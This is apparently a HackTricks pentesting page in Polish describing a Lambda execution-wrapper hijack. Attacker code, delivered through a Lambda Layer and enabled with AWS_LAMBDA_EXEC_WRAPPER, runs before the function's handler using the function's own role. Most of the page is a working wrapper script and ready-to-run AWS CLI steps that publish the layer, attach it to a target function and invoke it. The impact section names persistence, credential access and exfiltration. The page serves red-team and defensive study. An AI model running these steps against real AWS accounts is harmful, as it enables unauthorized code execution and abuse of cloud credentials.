# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE) {{#include ../../../../banners/hacktricks-training.md}} ## Podsumowanie Wykorzystaj zmienną środowiskową `AWS_LAMBDA_EXEC_WRAPPER`, aby uruchomić kontrolowany przez atakującego skrypt wrappera przed startem runtime/handlera. Dostarcz wrapper przez Lambda Layer pod ścieżką `/opt/bin/htwrap`, ustaw `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, a następnie wywołaj funkcję. Wrapper działa wewnątrz procesu runtime funkcji, dziedziczy role wykonawcze funkcji i na końcu wykonuje `exec` rzeczywisty runtime, dzięki czemu oryginalny handler nadal wykonuje się normalnie. > [!WARNING] > Ta technika daje możliwość wykonania kodu w docelowym Lambda bez modyfikowania jego kodu źródłowego ani roli oraz bez potrzeby posiadania `iam:PassRole`. Wystarczy możliwość zaktualizowania konfiguracji funkcji oraz opublikowania/dołączenia layera. ## Wymagane uprawnienia (atakujący) - `lambda:UpdateFunctionConfiguration` - `lambda:GetFunctionConfiguration` - `lambda:InvokeFunction` (lub wywołać przez istniejące zdarzenie) - `lambda:ListFunctions`, `lambda:ListLayers` - `lambda:PublishLayerVersion` (to samo konto) oraz opcjonalnie `lambda:AddLayerVersionPermission` jeśli używasz cross-account/public layer ## Skrypt wrappera Umieść wrapper w `/opt/bin/htwrap` w layerze. Może wykonywać logikę przed handlerem i musi kończyć się `exec "$@"`, aby przekazać kontrolę do rzeczywistego runtime. ```bash #!/bin/bash set -euo pipefail # Pre-handler actions (runs in runtime process context) echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" python3 - <<'PY' import boto3, json, os try: ident = boto3.client('sts').get_caller_identity() print('[ht] sts identity:', json.dumps(ident)) except Exception as e: print('[ht] sts error:', e) PY # Chain to the real runtime exec "$@" ``` ## Kroki ataku (CLI)
Opublikuj layer, dołącz do docelowej funkcji, ustaw wrapper, wywołaj ```bash # Vars REGION=us-east-1 TARGET_FN= # 1) Package wrapper at /opt/bin/htwrap mkdir -p layer/bin cat > layer/bin/htwrap <<'WRAP' #!/bin/bash set -euo pipefail echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" python3 - <<'PY' import boto3, json print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity())) PY exec "$@" WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer) # 2) Publish the layer LAYER_ARN=$(aws lambda publish-layer-version \ --layer-name ht-exec-wrapper \ --zip-file fileb://htwrap-layer.zip \ --compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \ --query LayerVersionArn --output text --region "$REGION") echo "$LAYER_ARN" # 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER aws lambda update-function-configuration \ --function-name "$TARGET_FN" \ --layers "$LAYER_ARN" \ --environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \ --region "$REGION" # Wait for update to finish until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done # 4) Invoke and verify via CloudWatch Logs aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text ```
## Wpływ - Wykonanie kodu przed handlerem w kontekście środowiska uruchomieniowego Lambda, wykorzystując istniejącą rolę wykonawczą funkcji. - Nie wymaga zmian w kodzie funkcji ani roli; działa w popularnych zarządzanych środowiskach uruchomieniowych (Python, Node.js, Java, .NET). - Umożliwia persistence, dostęp do poświadczeń (np. STS), eksfiltrację danych oraz manipulację środowiskiem uruchomieniowym przed uruchomieniem handlera. {{#include ../../../../banners/hacktricks-training.md}}